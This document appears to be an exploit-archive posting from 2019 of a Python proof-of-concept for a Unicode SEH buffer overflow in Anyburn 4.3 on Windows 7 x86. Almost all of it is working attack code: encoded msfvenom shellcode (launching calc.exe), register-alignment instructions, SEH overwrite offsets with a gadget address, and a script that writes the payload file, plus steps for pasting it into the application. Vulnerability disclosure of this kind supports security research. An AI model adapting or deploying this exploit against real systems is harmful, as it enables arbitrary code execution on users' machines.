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Anyburn 4.x x86 Buffer Overflow

Anyburn 4.x x86 Buffer Overflow
Posted Mar 7, 2019
Authored by Hodorsec

Anyburn version 4.3 x86 "Copy disc to image file" buffer overflow SEH unicode exploit.

tags | exploit, overflow, x86
MD5 | 8e92d805dee2a379fca84a0aa0ea1dda

Anyburn 4.x x86 Buffer Overflow

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#!/usr/bin/python
# Exploit Title: Anyburn 4.3 - 'Copy disc to image file' Buffer Overflow - (UNICODE)(SEH)
# Version: 4.3
# Date: 07-03-2019
# Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: http://www.anyburn.com/
# Software Link: http://www.anyburn.com/download.php
# Tested on: Win7 x86 SP1 build 7601
# Caveats: - Heavy character expansion from byte range 0x80 until 0x9f. I've mapped the character translation for convenience.
# - Modify 'crash_nseh' and 'ret_jmp' variable offsets for different OS'es / servicepacks
#
# Character expansion mapping
# 80 --> 20ac, 81 --> 81
# 82 --> 201a, 83 --> 0192
# 84 --> 201e, 85 --> 2026
# 86 --> 2020, 87 --> 2021
# 88 --> 02c6, 89 --> 2030
# 8a --> 0160, 8b --> 2039
# 8c --> 0152, 8d --> 8d
# 8e --> 017d, 8f --> 8f
# 90 --> 90 , 91 --> 2018
# 92 --> 2019, 93 --> 201c
# 94 --> 201d, 95 --> 2022
# 96 --> 2013, 97 --> 2014
# 98 --> 02dc, 99 --> 2122
# 9a --> 0161, 9b --> 203a
# 9c --> 0153, 9d --> 9d
# 9e --> 017e, 9f --> 0178
#
# PoC
# 1.) Generate sploit_anyBURN_seh_unicode.txt, copy the contents to clipboard
# 2.) In the application, open 'Copy disc to image file'
# 3.) Paste the contents of the TXT file in 'Image file name'
# 4.) Click "Create Now" and watch Anyburn BURN!

import sys, struct

filename = "sploit_anyburn_seh_unicode.txt"

# Maximum length
maxlen = 10000

# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -f python -b "\x00\x0a\x0d" -v shellcode bufferregister=eax
# Size 512
shellcode = ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68"
shellcode += "\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31"
shellcode += "\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51"
shellcode += "\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31"
shellcode += "\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42"
shellcode += "\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39"
shellcode += "\x75\x34\x4a\x42\x79\x6c\x39\x58\x35\x32\x6d\x30"
shellcode += "\x4b\x50\x6b\x50\x73\x30\x64\x49\x4b\x35\x4e\x51"
shellcode += "\x35\x70\x61\x54\x74\x4b\x6e\x70\x6e\x50\x64\x4b"
shellcode += "\x61\x42\x7a\x6c\x72\x6b\x62\x32\x6d\x44\x64\x4b"
shellcode += "\x44\x32\x6b\x78\x5a\x6f\x45\x67\x6f\x5a\x6b\x76"
shellcode += "\x4d\x61\x49\x6f\x34\x6c\x4f\x4c\x43\x31\x71\x6c"
shellcode += "\x39\x72\x4e\x4c\x4b\x70\x49\x31\x38\x4f\x4c\x4d"
shellcode += "\x6a\x61\x76\x67\x67\x72\x58\x72\x31\x42\x62\x37"
shellcode += "\x64\x4b\x50\x52\x7a\x70\x32\x6b\x4f\x5a\x4f\x4c"
shellcode += "\x42\x6b\x70\x4c\x6b\x61\x34\x38\x7a\x43\x51\x38"
shellcode += "\x6d\x31\x78\x51\x6f\x61\x52\x6b\x30\x59\x6f\x30"
shellcode += "\x4b\x51\x79\x43\x72\x6b\x4f\x59\x5a\x78\x68\x63"
shellcode += "\x6c\x7a\x30\x49\x62\x6b\x4e\x54\x42\x6b\x6b\x51"
shellcode += "\x4a\x36\x4c\x71\x6b\x4f\x44\x6c\x46\x61\x78\x4f"
shellcode += "\x4c\x4d\x69\x71\x56\x67\x6c\x78\x57\x70\x63\x45"
shellcode += "\x59\x66\x6a\x63\x51\x6d\x4a\x58\x4d\x6b\x71\x6d"
shellcode += "\x4e\x44\x52\x55\x4b\x34\x42\x38\x54\x4b\x4e\x78"
shellcode += "\x6b\x74\x79\x71\x79\x43\x53\x36\x74\x4b\x4a\x6c"
shellcode += "\x50\x4b\x34\x4b\x31\x48\x4d\x4c\x69\x71\x57\x63"
shellcode += "\x72\x6b\x4a\x64\x74\x4b\x69\x71\x78\x50\x31\x79"
shellcode += "\x50\x44\x6d\x54\x6c\x64\x71\x4b\x51\x4b\x70\x61"
shellcode += "\x72\x39\x70\x5a\x30\x51\x39\x6f\x6b\x30\x61\x4f"
shellcode += "\x31\x4f\x6f\x6a\x32\x6b\x4d\x42\x4a\x4b\x72\x6d"
shellcode += "\x4f\x6d\x51\x5a\x39\x71\x42\x6d\x75\x35\x75\x62"
shellcode += "\x4d\x30\x59\x70\x4d\x30\x70\x50\x33\x38\x6e\x51"
shellcode += "\x52\x6b\x42\x4f\x53\x57\x6b\x4f\x46\x75\x55\x6b"
shellcode += "\x6a\x50\x46\x55\x33\x72\x4f\x66\x62\x48\x66\x46"
shellcode += "\x72\x75\x65\x6d\x43\x6d\x39\x6f\x67\x65\x6d\x6c"
shellcode += "\x39\x76\x61\x6c\x4a\x6a\x31\x70\x59\x6b\x79\x50"
shellcode += "\x74\x35\x49\x75\x35\x6b\x6f\x57\x6e\x33\x72\x52"
shellcode += "\x62\x4f\x70\x6a\x39\x70\x42\x33\x39\x6f\x49\x45"
shellcode += "\x42\x43\x4f\x71\x52\x4c\x70\x63\x4c\x6e\x30\x65"
shellcode += "\x51\x68\x51\x55\x49\x70\x41\x41"

# Align reg EBP to RET into EAX
# EBP = 0x04f6acb8, Buffer = 0x04f6b70a, Buffer - EBP = 0x0a52 --> 0x0b00
align_ebp = (
"\x73" # Padding
"\x55" # PUSH EBP
"\x73" # Padding
"\x58" # POP EAX
"\x73" # Padding
"\x05\x0f\x11" # "\x05\x00\x0f\x00\x11" # 05000f0011 add eax,0x11000f00 --\
"\x73" # Padding |--> Adds 0x0b00 bytes
"\x2d\x04\x11" # "\x2d\x00\x04\x00\x11" # 2d00040011 sub eax,0x11000400 --/
"\x73" # Padding
"\x50" # PUSH EAX
"\x73" # Padding
"\xc3" # RET
)

# Offsets
crash_nseh = 9197 # NSEH, might be different on other Windows version/SP
crash_seh = crash_nseh + 4 # SEH
ret_jmp = 87 # Offset for which the 'align_ebp' instructions land

# Variables
prefix = "\x73" * ret_jmp # Padding
prefix += shellcode # UNICODE encoded shellcode
prefix += "\x73" * (crash_nseh - len(prefix)) # Additional padding to reach NSEH
nseh = "\x83\x43" # 0x83 Expands to 0x0192 --> XCHG EAX,EDX # Expanded instruction in SEH now does get executed due to swapped regs
seh = "\x95\x47" # 0x00470095 Expands to 0x00472022 --> # POP POP RET # AnyBurn.exe
suffix = align_ebp # Align registers to jump to beginning of buffer
suffix += "\x73" * (maxlen - len(prefix + nseh + seh + suffix)) # Padding

# Crafting payload
payload = prefix + nseh + seh + suffix

# Create file
f = open(filename, 'wb')
f.write(payload)
f.close()

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